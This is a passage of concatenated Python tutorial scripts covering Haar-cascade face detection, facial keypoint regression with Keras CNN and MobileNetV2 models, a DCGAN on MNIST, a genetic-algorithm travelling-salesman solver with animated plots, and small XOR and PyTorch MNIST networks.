color=(255, 0, 0), thickness=2) # save the image with rectangles cv2.imwrite("kids_detected.jpg", image) import numpy as np import cv2 # create a new cam object cap = cv2.VideoCapture(0) # initialize the face recognizer (default face haar cascade) face_cascade = cv2.CascadeClassifier("cascades/haarcascade_fontalface_default.xml") while True: # read the image from the cam _, image = cap.read() # converting to grayscale image_gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) # detect all the faces in the image faces = face_cascade.detectMultiScale(image_gray, 1.3, 5) # for every face, draw a blue rectangle for x, y, width, height in faces: cv2.rectangle(image, (x, y), (x + width, y + height), color=(255, 0, 0), thickness=2) cv2.imshow("image", image) if cv2.waitKey(1) == ord("q"): break cap.release() cv2.destroyAllWindows() import cv2 import numpy as np import matplotlib.pyplot as plt import sys from models import create_model from parameters import * from utils import normalize_image def untransform(keypoints): return keypoints * 50 + 100 def get_single_prediction(model, image): image = np.expand_dims(image, axis=0) keypoints = model.predict(image)[0] return keypoints.reshape(*OUTPUT_SHAPE) def show_keypoints(image, predicted_keypoints, true_keypoints=None): predicted_keypoints = untransform(predicted_keypoints) plt.imshow(np.squeeze(image), cmap="gray") plt.scatter(predicted_keypoints[:, 0], predicted_keypoints[:, 1], s=20, marker=".", c="m") if true_keypoints is not None: true_keypoints = untransform(true_keypoints) plt.scatter(true_keypoints[:, 0], true_keypoints[:, 1], s=20, marker=".", c="g") plt.show() image = cv2.imread(sys.argv[1]) image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB) # # construct the model model = create_model((*IMAGE_SIZE, 1), OUTPUT_SHAPE[0] * OUTPUT_SHAPE[1]) model.load_weights("results/model_smoothl1.h5") face_cascade = cv2.CascadeClassifier("haarcascade_frontalface_default.xml") # get all the faces in the image faces = face_cascade.detectMultiScale(image, 1.2, 2) for (x, y, w, h) in faces: cv2.rectangle(image, (x, y), (x+w, y+h), (255, 0, 0), 3) face_image = image.copy()[y: y+h, x: x+w] face_image = normalize_image(face_image) keypoints = get_single_prediction(model, face_image) show_keypoints(face_image, keypoints) import pandas as pd import numpy as np import matplotlib.pyplot as plt import cv2 from models import create_model from parameters import IMAGE_SIZE, BATCH_SIZE, EPOCHS, OUTPUT_SHAPE, training_file, testing_file from utils import load_data, resize_image, normalize_keypoints, normalize_image def get_single_prediction(model, image): image = np.expand_dims(image, axis=0) keypoints = model.predict(image)[0] return keypoints.reshape(*OUTPUT_SHAPE) def get_predictions(model, X): predicted_keypoints = model.predict(X) predicted_keypoints = predicted_keypoints.reshape(-1, *OUTPUT_SHAPE) return predicted_keypoints def show_keypoints(image, predicted_keypoints, true_keypoints=None): predicted_keypoints = untransform(predicted_keypoints) plt.imshow(image, cmap="gray") plt.scatter(predicted_keypoints[:, 0], predicted_keypoints[:, 1], s=20, marker=".", c="m") if true_keypoints is not None: true_keypoints = untransform(true_keypoints) plt.scatter(true_keypoints[:, 0], true_keypoints[:, 1], s=20, marker=".", c="g") plt.show() def show_keypoints_cv2(image, predicted_keypoints, true_keypoints=None): for keypoint in predicted_keypoints: image = cv2.circle(image, (keypoint[0], keypoint[1]), 2, color=2) if true_keypoints is not None: image = cv2.circle(image, (true_keypoints[:, 0], true_keypoints[:, 1]), 2, color="green") return image def untransform(keypoints): return keypoints * 224 # construct the model model = create_model((*IMAGE_SIZE, 1), OUTPUT_SHAPE[0] * OUTPUT_SHAPE[1]) model.load_weights("results/model_smoothl1_different-scaling.h5") # X_test, y_test = load_data(testing_file) # y_test = y_test.reshape(-1, *OUTPUT_SHAPE) cap = cv2.VideoCapture(0) while True: _, frame = cap.read() # make a copy of the original image image = frame.copy() image = normalize_image(image) keypoints = get_single_prediction(model, image) print(keypoints[0]) keypoints = untransform(keypoints) # w, h = frame.shape[:2] # keypoints = (keypoints * [frame.shape[0] / image.shape[0], frame.shape[1] / image.shape[1]]).astype("int16") # frame = show_keypoints_cv2(frame, keypoints) image = show_keypoints_cv2(image, keypoints) cv2.imshow("frame", image) if cv2.waitKey(1) == ord("q"): break cv2.destroyAllWindows() cap.release() from tensorflow.keras.models import Sequential, Model from tensorflow.keras.layers import Dense, Activation, Conv2D, MaxPooling2D, Dropout, Flatten from tensorflow.keras.applications import MobileNetV2 import tensorflow as tf import tensorflow.keras.backend as K def smoothL1(y_true, y_pred): HUBER_DELTA = 0.5 x = K.abs(y_true - y_pred) x = K.switch(x < HUBER_DELTA, 0.5 * x ** 2, HUBER_DELTA * (x - 0.5 * HUBER_DELTA)) return K.sum(x) def create_model(input_shape, output_shape): # building the model model = Sequential() model.add(Conv2D(filters=32, kernel_size=(5, 5), padding="same", input_shape=input_shape)) model.add(Activation("relu")) model.add(Conv2D(filters=32, kernel_size=(5, 5), padding="same")) model.add(Activation("relu")) model.add(MaxPooling2D(pool_size=(2, 2))) # model.add(Dropout(0.25)) model.add(Conv2D(filters=64, kernel_size=(5, 5), padding="same")) model.add(Activation("relu")) model.add(Conv2D(filters=64, kernel_size=(5, 5), padding="same")) model.add(Activation("relu")) model.add(MaxPooling2D(pool_size=(2, 2))) # model.add(Dropout(0.25)) model.add(Conv2D(filters=128, kernel_size=(5, 5), padding="same")) model.add(Activation("relu")) model.add(Conv2D(filters=128, kernel_size=(5, 5), padding="same")) model.add(Activation("relu")) model.add(MaxPooling2D(pool_size=(2, 2))) # model.add(Dropout(0.25)) # model.add(Conv2D(filters=256, kernel_size=(5, 5), padding="same")) # model.add(Activation("relu")) # model.add(Conv2D(filters=256, kernel_size=(5, 5), padding="same")) # model.add(Activation("relu")) # model.add(MaxPooling2D(pool_size=(2, 2))) # # model.add(Dropout(0.25)) # flattening the convolutions model.add(Flatten()) # fully-connected layers model.add(Dense(256)) model.add(Activation("relu")) model.add(Dropout(0.5)) model.add(Dense(output_shape, activation="linear")) # print the summary of the model architecture model.summary() # training the model using rmsprop optimizer # model.compile(loss="mean_squared_error", optimizer="adam", metrics=["mean_absolute_error"]) model.compile(loss=smoothL1, optimizer="adam", metrics=["mean_absolute_error"]) return model def create_mobilenet_model(input_shape, output_shape): model = MobileNetV2(input_shape=input_shape) # remove the last layer model.layers.pop() # freeze all the weights of the model except for the last 4 layers for layer in model.layers[:-4]: layer.trainable = False # construct our output dense layer output = Dense(output_shape, activation="linear") # connect it to the model output = output(model.layers[-1].output) model = Model(inputs=model.inputs, outputs=output) model.summary() # training the model using adam optimizer # model.compile(loss="mean_squared_error", optimizer="adam", metrics=["mean_absolute_error"]) model.compile(loss=smoothL1, optimizer="adam", metrics=["mean_absolute_error"]) return model IMAGE_SIZE = (224, 224) OUTPUT_SHAPE = (68, 2) BATCH_SIZE = 20 EPOCHS = 30 training_file = "data/training_frames_keypoints.csv" testing_file = "data/test_frames_keypoints.csv" import pandas as pd import numpy as np import matplotlib.pyplot as plt from models import create_model, create_mobilenet_model from parameters import IMAGE_SIZE, BATCH_SIZE, EPOCHS, OUTPUT_SHAPE, training_file, testing_file from utils import load_data def get_predictions(model, X): predicted_keypoints = model.predict(X) predicted_keypoints = predicted_keypoints.reshape(-1, *OUTPUT_SHAPE) return predicted_keypoints def show_keypoints(image, predicted_keypoints, true_keypoints): predicted_keypoints = untransform(predicted_keypoints) true_keypoints = untransform(true_keypoints) plt.imshow(np.squeeze(image), cmap="gray") plt.scatter(predicted_keypoints[:, 0], predicted_keypoints[:, 1], s=20, marker=".", c="m") plt.scatter(true_keypoints[:, 0], true_keypoints[:, 1], s=20, marker=".", c="g") plt.show() def untransform(keypoints): return keypoints *224 # # construct the model model = create_mobilenet_model((*IMAGE_SIZE, 3), OUTPUT_SHAPE[0] * OUTPUT_SHAPE[1]) model.load_weights("results/model_smoothl1_mobilenet_crop.h5") X_test, y_test = load_data(testing_file) y_test = y_test.reshape(-1, *OUTPUT_SHAPE) y_pred = get_predictions(model, X_test) print(y_pred[0]) print(y_pred.shape) print(y_test.shape) print(X_test.shape) for i in range(50): show_keypoints(X_test[i+400], y_pred[i+400], y_test[i+400]) import numpy as np import pandas as pd import matplotlib.pyplot as plt from sklearn.preprocessing import MinMaxScaler from tqdm import tqdm # from tensorflow.keras.layers import Conv2D, Dense, MaxPooling2D from tensorflow.keras.callbacks import TensorBoard, ModelCheckpoint import os from models import create_model, create_mobilenet_model from parameters import IMAGE_SIZE, BATCH_SIZE, EPOCHS, OUTPUT_SHAPE, training_file, testing_file from utils import load_data # # read the training dataframe # training_df = pd.read_csv("data/training_frames_keypoints.csv") # # print the number of images available in the training dataset # print("Number of images in training set:", training_df.shape[0]) def show_keypoints(image, key_points): # show the image plt.imshow(image) # use scatter() to plot the keypoints in the faces plt.scatter(key_points[:, 0], key_points[:, 1], s=20, marker=".") plt.show() # show an example image # n = 124 # image_name = training_df.iloc[n, 0] # keypoints = training_df.iloc[n, 1:].values.reshape(-1, 2) # show_keypoints(mpimg.imread(os.path.join("data", "training", image_name)), key_points=keypoints) model_name = "model_smoothl1_mobilenet_crop" # construct the model model = create_mobilenet_model((*IMAGE_SIZE, 3), OUTPUT_SHAPE[0] * OUTPUT_SHAPE[1]) # model.load_weights("results/model3.h5") X_train, y_train = load_data(training_file, to_gray=False) X_test, y_test = load_data(testing_file, to_gray=False) if not os.path.isdir("results"): os.mkdir("results") tensorboard = TensorBoard(log_dir=os.path.join("logs", model_name)) # checkpoint = ModelCheckpoint(os.path.join("results", model_name), save_best_only=True, verbose=1) history = model.fit(X_train, y_train, batch_size=BATCH_SIZE, epochs=EPOCHS, validation_data=(X_test, y_test), # callbacks=[tensorboard, checkpoint], callbacks=[tensorboard], verbose=1) model.save("results/" + model_name + ".h5") import numpy as np import pandas as pd import matplotlib.image as mpimg import matplotlib.pyplot as plt import cv2 from tqdm import tqdm import os from parameters import IMAGE_SIZE, OUTPUT_SHAPE def show_keypoints(image, predicted_keypoints, true_keypoints=None): # predicted_keypoints = untransform(predicted_keypoints) plt.imshow(image, cmap="gray") plt.scatter(predicted_keypoints[:, 0], predicted_keypoints[:, 1], s=20, marker=".", c="m") if true_keypoints is not None: # true_keypoints = untransform(true_keypoints) plt.scatter(true_keypoints[:, 0], true_keypoints[:, 1], s=20, marker=".", c="g") plt.show() def resize_image(image, image_size): return cv2.resize(image, image_size) def random_crop(image, keypoints): h, w = image.shape[:2] new_h, new_w = IMAGE_SIZE keypoints = keypoints.reshape(-1, 2) try: top = np.random.randint(0, h - new_h) left = np.random.randint(0, w - new_w) except ValueError: return image, keypoints image = image[top: top + new_h, left: left + new_w] keypoints = keypoints - [left, top] return image, keypoints def normalize_image(image, to_gray=True): if image.shape[2] == 4: # if the image has an alpha color channel (opacity) # let's just remove it image = image[:, :, :3] # get the height & width of image h, w = image.shape[:2] new_h, new_w = IMAGE_SIZE new_h, new_w = int(new_h), int(new_w) # scaling the image to that IMAGE_SIZE # image = cv2.resize(image, (new_w, new_h)) image = resize_image(image, (new_w, new_h)) if to_gray: # convert image to grayscale image = cv2.cvtColor(image, cv2.COLOR_RGB2GRAY) # normalizing pixels from the range [0, 255] to [0, 1] image = image / 255.0 if to_gray: image = np.expand_dims(image, axis=2) return image def normalize_keypoints(image, keypoints): # get the height & width of image h, w = image.shape[:2] # reshape to coordinates (x, y) # i.e converting a vector of (136,) to the 2D array (68, 2) new_h, new_w = IMAGE_SIZE new_h, new_w = int(new_h), int(new_w) keypoints = keypoints.reshape(-1, 2) # scale the keypoints also keypoints = keypoints * [new_w / w, new_h / h] keypoints = keypoints.reshape(-1) # normalizing keypoints from [0, IMAGE_SIZE] to [0, 1] (experimental) keypoints = keypoints / 224 # keypoints = (keypoints - 100) / 50 return keypoints def normalize(image, keypoints, to_gray=True): image, keypoints = random_crop(image, keypoints) return normalize_image(image, to_gray=to_gray), normalize_keypoints(image, keypoints) def load_data(csv_file, to_gray=True): # read the training dataframe df = pd.read_csv(csv_file) all_keypoints = np.array(df.iloc[:, 1:]) image_names = list(df.iloc[:, 0]) # load images X, y = [], [] X = np.zeros((len(image_names), *IMAGE_SIZE, 3), dtype="float32") y = np.zeros((len(image_names), OUTPUT_SHAPE[0] * OUTPUT_SHAPE[1])) for i, (image_name, keypoints) in enumerate(zip(tqdm(image_names, "Loading " + os.path.basename(csv_file)), all_keypoints)): image = mpimg.imread(os.path.join("data", "training", image_name)) image, keypoints = normalize(image, keypoints, to_gray=to_gray) X[i] = image y[i] = keypoints return X, y """ DCGAN on MNIST using Keras """ # to use CPU import os # os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 # os.environ["CUDA_VISIBLE_DEVICES"] = "-1" # import tensorflow as tf # config = tf.ConfigProto(intra_op_parallelism_threads=5, # inter_op_parallelism_threads=5, # allow_soft_placement=True, # device_count = {'CPU' : 1, # 'GPU' : 0} # ) import numpy as np import matplotlib.pyplot as plt import tqdm import glob # from tensorflow.examples.tutorials.mnist import input_data from keras.models import Sequential from keras.layers import Dense, Activation, Flatten, Reshape from keras.layers import Conv2D, Conv2DTranspose, UpSampling2D from keras.layers import LeakyReLU, Dropout, BatchNormalization from keras.optimizers import Adam, RMSprop from keras.datasets import mnist class GAN: def __init__(self, img_x=28, img_y=28, img_z=1): self.img_x = img_x self.img_y = img_y self.img_z = img_z self.D = None # discriminator self.G = None # generator self.AM = None # adversarial model self.DM = None # discriminator model def discriminator(self): if self.D: return self.D self.D = Sequential() depth = 64 dropout = 0.4 input_shape = (self.img_x, self.img_y, self.img_z) self.D.add(Conv2D(depth, 5, strides=2, input_shape=input_shape, padding="same")) self.D.add(LeakyReLU(0.2)) self.D.add(Dropout(dropout)) self.D.add(Conv2D(depth*2, 5, strides=2, padding="same")) self.D.add(LeakyReLU(0.2)) self.D.add(Dropout(dropout)) self.D.add(Conv2D(depth*4, 5, strides=2, padding="same")) self.D.add(LeakyReLU(0.2)) self.D.add(Dropout(dropout)) self.D.add(Conv2D(depth*8, 5, strides=1, padding="same")) self.D.add(LeakyReLU(0.2)) self.D.add(Dropout(dropout)) # convert to 1 dimension self.D.add(Flatten()) self.D.add(Dense(1, activation="sigmoid")) print("="*50, "Discriminator", "="*50) self.D.summary() return self.D def generator(self): if self.G: return self.G self.G = Sequential() dropout = 0.4 # covnerting from 100 vector noise to dim x dim x depth # (100,) to (7, 7, 256) depth = 64 * 4 dim = 7 self.G.add(Dense(dim*dim*depth, input_dim=100)) self.G.add(BatchNormalization(momentum=0.9)) self.G.add(Activation("relu")) self.G.add(Reshape((dim, dim, depth))) self.G.add(Dropout(dropout)) # upsampling to (14, 14, 128) self.G.add(UpSampling2D()) self.G.add(Conv2DTranspose(depth // 2, 5, padding="same")) self.G.add(BatchNormalization(momentum=0.9)) self.G.add(Activation("relu")) self.G.add(Dropout(dropout)) # up to (28, 28, 64) self.G.add(UpSampling2D()) self.G.add(Conv2DTranspose(depth // 4, 5, padding="same")) self.G.add(BatchNormalization(momentum=0.9)) self.G.add(Activation("relu")) self.G.add(Dropout(dropout)) # to (28, 28, 32) self.G.add(Conv2DTranspose(depth // 8, 5, padding="same")) self.G.add(BatchNormalization(momentum=0.9)) self.G.add(Activation("relu")) self.G.add(Dropout(dropout)) # to (28, 28, 1) (img) self.G.add(Conv2DTranspose(1, 5, padding="same")) self.G.add(Activation("sigmoid")) print("="*50, "Generator", "="*50) self.G.summary() return self.G def discriminator_model(self): if self.DM: return self.DM # optimizer = RMSprop(lr=0.001, decay=6e-8) optimizer = Adam(0.0002, 0.5) self.DM = Sequential() self.DM.add(self.discriminator()) self.DM.compile(loss="binary_crossentropy", optimizer=optimizer, metrics=["accuracy"]) return self.DM def adversarial_model(self): if self.AM: return self.AM # optimizer = RMSprop(lr=0.001, decay=3e-8) optimizer = Adam(0.0002, 0.5) self.AM = Sequential() self.AM.add(self.generator()) self.AM.add(self.discriminator()) self.AM.compile(loss="binary_crossentropy", optimizer=optimizer, metrics=["accuracy"]) return self.AM class MNIST: def __init__(self): self.img_x = 28 self.img_y = 28 self.img_z = 1 self.steps = 0 self.load_data() self.create_models() # used image indices self._used_indices = set() def load_data(self): (self.X_train, self.y_train), (self.X_test, self.y_test) = mnist.load_data() # reshape to (num_samples, 28, 28 , 1) self.X_train = np.expand_dims(self.X_train, axis=-1) self.X_test = np.expand_dims(self.X_test, axis=-1) def create_models(self): self.GAN = GAN() self.discriminator = self.GAN.discriminator_model() self.adversarial = self.GAN.adversarial_model() self.generator = self.GAN.generator() discriminators = glob.glob("discriminator_*.h5") generators = glob.glob("generator_*.h5") adversarial = glob.glob("adversarial_*.h5") if len(discriminators) != 0: print("[+] Found a discriminator ! Loading weights ...") self.discriminator.load_weights(discriminators[0]) if len(generators) != 0: print("[+] Found a generator ! Loading weights ...") self.generator.load_weights(generators[0]) if len(adversarial) != 0: print("[+] Found an adversarial model ! Loading weights ...") self.steps = int(adversarial[0].replace("adversarial_", "").replace(".h5", "")) self.adversarial.load_weights(adversarial[0]) def get_unique_random(self, batch_size=256): indices = np.random.randint(0, self.X_train.shape[0], size=batch_size) # in_used_indices = np.any([i in indices for i in self._used_indices]) # while in_used_indices: # indices = np.random.randint(0, self.X_train.shape[0], size=batch_size) # in_used_indices = np.any([i in indices for i in self._used_indices]) # self._used_indices |= set(indices) # if len(self._used_indices) > self.X_train.shape[0] // 2: # if used indices is more than half of training samples, clear it # that is to enforce it to train at least more than half of the dataset uniquely # self._used_indices.clear() return indices def train(self, train_steps=2000, batch_size=256, save_interval=0): noise_input = None steps = tqdm.tqdm(list(range(self.steps, train_steps))) fake = np.zeros((batch_size, 1)) real = np.ones((batch_size, 1)) for i in steps: real_images = self.X_train[self.get_unique_random(batch_size)] # noise = np.random.uniform(-1.0, 1.0, size=(batch_size, 100)) noise = np.random.normal(size=(batch_size, 100)) fake_images = self.generator.predict(noise) # get 256 real images and 256 fake images d_loss_real = self.discriminator.train_on_batch(real_images, real) d_loss_fake = self.discriminator.train_on_batch(fake_images, fake) d_loss = 0.5 * np.add(d_loss_real, d_loss_fake) # X = np.concatenate((real_images, fake_images)) # y = np.zeros((2*batch_size, 1)) # 0 for fake and 1 for real # y[:batch_size, :] = 1 # shuffle # shuffle_in_unison(X, y) # d_loss = self.discriminator.train_on_batch(X, y) # y = np.ones((batch_size, 1)) # noise = np.random.uniform(-1.0, 1.0, size=(batch_size, 100)) # fool the adversarial, telling him everything is real a_loss = self.adversarial.train_on_batch(noise, real) log_msg = f"[D loss: {d_loss[0]:.6f}, D acc: {d_loss[1]:.6f} | A loss: {a_loss[0]:.6f}, A acc: {a_loss[1]:.6f}]" steps.set_description(log_msg) if save_interval > 0: noise_input = np.random.uniform(low=-1, high=1.0, size=(16, 100)) if (i + 1) % save_interval == 0: self.plot_images(save2file=True, samples=noise_input.shape[0], noise=noise_input, step=(i+1)) self.discriminator.save(f"discriminator_{i+1}.h5") self.generator.save(f"generator_{i+1}.h5") self.adversarial.save(f"adversarial_{i+1}.h5") def plot_images(self, save2file=False, fake=True, samples=16, noise=None, step=0): filename = "mnist_fake.png" if fake: if noise is None: noise = np.random.uniform(-1.0, 1.0, size=(samples, 100)) else: filename = f"mnist_{step}.png" images = self.generator.predict(noise) else: i = np.random.randint(0, self.X_train.shape[0], samples) images = self.X_train[i] if noise is None: filename = "mnist_real.png" plt.figure(figsize=(10, 10)) for i in range(images.shape[0]): plt.subplot(4, 4, i+1) image = images[i] image = np.reshape(image, (self.img_x, self.img_y)) plt.imshow(image, cmap="gray") plt.axis("off") plt.tight_layout() if save2file: plt.savefig(filename) plt.close("all") else: plt.show() # https://stackoverflow.com/questions/4601373/better-way-to-shuffle-two-numpy-arrays-in-unison def shuffle_in_unison(a, b): rng_state = np.random.get_state() np.random.shuffle(a) np.random.set_state(rng_state) np.random.shuffle(b) if __name__ == "__main__": mnist_gan = MNIST() mnist_gan.train(train_steps=10000, batch_size=256, save_interval=500) mnist_gan.plot_images(fake=True, save2file=True) mnist_gan.plot_images(fake=False, save2file=True) import random import numpy as np import pandas as pd import operator import matplotlib.pyplot as plt from threading import Event, Thread class Individual: def __init__(self, object): self.object = object def update(self, new): self.object = new def __repr__(self): return self.object def __str__(self): return self.object class GeneticAlgorithm: """General purpose genetic algorithm implementation""" def __init__(self, individual, popsize, elite_size, mutation_rate, generations, fitness_func, plot=True, prn=True, animation_func=None): self.individual = individual self.popsize = popsize self.elite_size = elite_size self.mutation_rate = mutation_rate self.generations = generations if not callable(fitness_func): raise TypeError("fitness_func must be a callable object.") self.get_fitness = fitness_func self.plot = plot self.prn = prn self.population = self._init_pop() self.animate = animation_func def calc(self): """Try to find the best individual. This function returns (initial_individual, final_individual, """ sorted_pop = self.sortpop() initial_route = self.population[sorted_pop[0][0]] distance = 1 / sorted_pop[0][1] progress = [ distance ] if callable(self.animate): self.plot = True individual = Individual(initial_route) stop_animation = Event() self.animate(individual, progress, stop_animation, plot_conclusion=initial_route) else: self.plot = False if self.prn: print(f"Initial distance: {distance}") try: if self.plot: for i in range(self.generations): population = self.next_gen() sorted_pop = self.sortpop() distance = 1 / sorted_pop[0][1] progress.append(distance) if self.prn: print(f"[Generation:{i}] Current distance: {distance}") route = population[sorted_pop[0][0]] individual.update(route) else: for i in range(self.generations): population = self.next_gen() distance = 1 / self.sortpop()[0][1] if self.prn: print(f"[Generation:{i}] Current distance: {distance}") except KeyboardInterrupt: pass try: stop_animation.set() except NameError: pass final_route_index = self.sortpop()[0][0] final_route = population[final_route_index] if self.prn: print("Final route:", final_route) return initial_route, final_route, distance def create_population(self): return random.sample(self.individual, len(self.individual)) def _init_pop(self): return [ self.create_population() for i in range(self.popsize) ] def sortpop(self): """This function calculates the fitness of each individual in population And returns a population sorted by its fitness in descending order""" result = [ (i, self.get_fitness(individual)) for i, individual in enumerate(self.population) ] return sorted(result, key=operator.itemgetter(1), reverse=True) def selection(self): sorted_pop = self.sortpop() df = pd.DataFrame(np.array(sorted_pop), columns=["Index", "Fitness"]) df['cum_sum'] = df['Fitness'].cumsum() df['cum_perc'] = 100 * df['cum_sum'] / df['Fitness'].sum() result = [ sorted_pop[i][0] for i in range(self.elite_size) ] for i in range(len(sorted_pop) - self.elite_size): pick = random.random() * 100 for i in range(len(sorted_pop)): if pick <= df['cum_perc'][i]: result.append(sorted_pop[i][0]) break return [ self.population[index] for index in result ] def breed(self, parent1, parent2): child1, child2 = [], [] gene_A = random.randint(0, len(parent1)) gene_B = random.randint(0, len(parent2)) start_gene = min(gene_A, gene_B) end_gene = max(gene_A, gene_B) for i in range(start_gene, end_gene): child1.append(parent1[i]) child2 = [ item for item in parent2 if item not in child1 ] return child1 + child2 def breed_population(self, selection): pool = random.sample(selection, len(selection)) children = [selection[i] for i in range(self.elite_size)] children.extend([self.breed(pool[i], pool[len(selection)-i-1]) for i in range(len(selection) - self.elite_size)]) return children def mutate(self, individual): individual_length = len(individual) for swapped in range(individual_length): if(random.random() < self.mutation_rate): swap_with = random.randint(0, individual_length-1) individual[swapped], individual[swap_with] = individual[swap_with], individual[swapped] return individual def mutate_population(self, children): return [ self.mutate(individual) for individual in children ] def next_gen(self): selection = self.selection() children = self.breed_population(selection) self.population = self.mutate_population(children) return self.population from genetic import plt from genetic import Individual from threading import Thread def plot_routes(initial_route, final_route): _, ax = plt.subplots(nrows=1, ncols=2) for col, route in zip(ax, [("Initial Route", initial_route), ("Final Route", final_route) ]): col.title.set_text(route[0]) route = route[1] for i, city in enumerate(route): if i == 0: col.text(city.x-5, city.y+5, "Start") col.scatter(city.x, city.y, s=70, c='g') else: col.scatter(city.x, city.y, s=70, c='b') col.plot([ city.x for city in route ], [city.y for city in route], c='r') col.plot([route[-1].x, route[0].x], [route[-1].y, route[0].y], c='r') plt.show() def animate_progress(route, progress, stop_animation, plot_conclusion=None): def animate(): nonlocal route _, ax1 = plt.subplots(nrows=1, ncols=2) while True: if isinstance(route, Individual): target = route.object ax1[0].clear() ax1[1].clear() # current routes and cities ax1[0].title.set_text("Current routes") for i, city in enumerate(target): if i == 0: ax1[0].text(city.x-5, city.y+5, "Start") ax1[0].scatter(city.x, city.y, s=70, c='g') else: ax1[0].scatter(city.x, city.y, s=70, c='b') ax1[0].plot([ city.x for city in target ], [city.y for city in target], c='r') ax1[0].plot([target[-1].x, target[0].x], [target[-1].y, target[0].y], c='r') # current distance graph ax1[1].title.set_text("Current distance") ax1[1].plot(progress) ax1[1].set_ylabel("Distance") ax1[1].set_xlabel("Generation") plt.pause(0.05) if stop_animation.is_set(): break plt.show() if plot_conclusion: initial_route = plot_conclusion plot_routes(initial_route, target) Thread(target=animate).start() import matplotlib.pyplot as plt import random import numpy as np import operator from plots import animate_progress, plot_routes class City: def __init__(self, x, y): self.x = x self.y = y def distance(self, city): """Returns distance between self city and city""" x = abs(self.x - city.x) y = abs(self.y - city.y) return np.sqrt(x ** 2 + y ** 2) def __sub__(self, city): return self.distance(city) def __repr__(self): return f"({self.x}, {self.y})" def __str__(self): return self.__repr__() def get_fitness(route): def get_distance(): distance = 0 for i in range(len(route)): from_city = route[i] to_city = route[i+1] if i+1 < len(route) else route[0] distance += (from_city - to_city) return distance return 1 / get_distance() def load_cities(): return [ City(city[0], city[1]) for city in [(169, 20), (103, 24), (41, 9), (177, 76), (138, 173), (163, 108), (93, 34), (200, 84), (19, 184), (117, 176), (153, 30), (140, 29), (38, 108), (89, 183), (18, 4), (174, 38), (109, 169), (93, 23), (156, 10), (171, 27), (164, 91), (109, 194), (90, 169), (115, 37), (177, 93), (169, 20)] ] def generate_cities(size): cities = [] for i in range(size): x = random.randint(0, 200) y = random.randint(0, 200) if 40 < x < 160: if 0.5 <= random.random(): y = random.randint(0, 40) else: y = random.randint(160, 200) elif 40 < y < 160: if 0.5 <= random.random(): x = random.randint(0, 40) else: x = random.randint(160, 200) cities.append(City(x, y)) return cities def benchmark(cities): popsizes = [60, 80, 100, 120, 140] elite_sizes = [5, 10, 20, 30, 40] mutation_rates = [0.02, 0.01, 0.005, 0.003, 0.001] generations = 1200 iterations = len(popsizes) * len(elite_sizes) * len(mutation_rates) iteration = 0 gens = {} for popsize in popsizes: for elite_size in elite_sizes: for mutation_rate in mutation_rates: iteration += 1 gen = GeneticAlgorithm(cities, popsize=popsize, elite_size=elite_size, mutation_rate=mutation_rate, generations=generations, fitness_func=get_fitness, prn=False) initial_route, final_route, generation = gen.calc(ret=("generation", 755)) if generation == generations: print(f"[{iteration}/{iterations}] (popsize={popsize}, elite_size={elite_size}, mutation_rate={mutation_rate}): could not reach the solution") else: print(f"[{iteration}/{iterations}] (popsize={popsize}, elite_size={elite_size}, mutation_rate={mutation_rate}): {generation} generations was enough") if generation != generations: gens[iteration] = generation # reversed_gen = {v:k for k, v in gens.items()} output = sorted(gens.items(), key=operator.itemgetter(1)) for i, gens in output: print(f"Iteration: {i} generations: {gens}") # [1] (popsize=60, elite_size=30, mutation_rate=0.001): 235 generations was enough # [2] (popsize=80, elite_size=20, mutation_rate=0.001): 206 generations was enough # [3] (popsize=100, elite_size=30, mutation_rate=0.001): 138 generations was enough # [4] (popsize=120, elite_size=30, mutation_rate=0.002): 117 generations was enough # [5] (popsize=140, elite_size=20, mutation_rate=0.003): 134 generations was enough # The notes: # 1.1 Increasing the mutation rate to higher rate, the curve will be inconsistent and it won't lead us to the optimal distance. # 1.2 So we need to put it as small as 1% or lower # 2. Elite size is likely to be about 30% or less of total population # 3. Generations depends on the other parameters, can be a fixed number, or until we reach the optimal distance. # 4. if __name__ == "__main__": from genetic import GeneticAlgorithm cities = load_cities() # cities = generate_cities(50) # parameters popsize = 120 elite_size = 30 mutation_rate = 0.1 generations = 400 gen = GeneticAlgorithm(cities, popsize=popsize, elite_size=elite_size, mutation_rate=mutation_rate, generations=generations, fitness_func=get_fitness, animation_func=animate_progress) initial_route, final_route, distance = gen.calc() import tensorflow as tf import matplotlib.pyplot as plt from sklearn.model_selection import train_test_split from sklearn.utils import shuffle import re import numpy as np import os import time import json from glob import glob from PIL import Image import pickle import numpy as np from keras.utils import np_utils from tensorflow.keras.models import Sequential from tensorflow.keras.layers import Dense, Activation np.random.seed(19) X = np.array([[0,0],[0,1],[1,0],[1,1]]).astype('float32') y = np.array([[0],[1],[1],[0]]).astype('float32') y = np_utils.to_categorical(y) xor = Sequential() # add required layers xor.add(Dense(8, input_dim=2)) # hyperbolic tangent function to the first hidden layer ( 8 nodes ) xor.add(Activation("tanh")) xor.add(Dense(8)) xor.add(Activation("relu")) # output layer xor.add(Dense(2)) # sigmoid function to the output layer ( final ) xor.add(Activation("sigmoid")) # Cross-entropy error function xor.compile(loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"]) # show the summary of the model xor.summary() xor.fit(X, y, epochs=400, verbose=1) # accuray score = xor.evaluate(X, y) print(f"Accuracy: {score[-1]}") # Checking the predictions print("\nPredictions:") print(xor.predict(X)) import torch import torchvision from torchvision import transforms, datasets import torch.nn as nn import torch.nn.functional as F import torch.optim as optim import matplotlib.pyplot as plt epochs = 3 batch_size = 64 # building the network now class Net(nn.Module): def __init__(self): super().__init__() # takes 28x28 images self.fc1 = nn.Linear(28*28, 64) self.fc2 = nn.Linear(64, 64) self.fc3 = nn.Linear(64, 64) self.fc4 = nn.Linear(64, 10) def forward(self, x): x = F.relu(self.fc1(x)) x = F.relu(self.fc2(x)) x = F.relu(self.fc3(x)) x = self.fc4(x) return F.log_softmax(x, dim=1) if __name__ == "__main__": training_set = datasets.MNIST("", train=True, download=True, transform=transforms.Compose([ transforms.ToTensor() ])) test_set = datasets.MNIST("", train=False, download=True, transform=transforms.Compose([ transforms.ToTensor() ])) # load the dataset train = torch.utils.data.DataLoader(training_set, batch_size=batch_size, shuffle=True) test = torch.utils.data.DataLoader(test_set, batch_size=batch_size, shuffle=False) # construct the model net = Net() # specify the loss and optimizer loss = nn.CrossEntropyLoss() optimizer = optim.Adam(net.parameters(), lr=0.001) # training the model for epoch in range(epochs): for data in train: # data is the batch of data now # X are the features, y are labels X, y = data 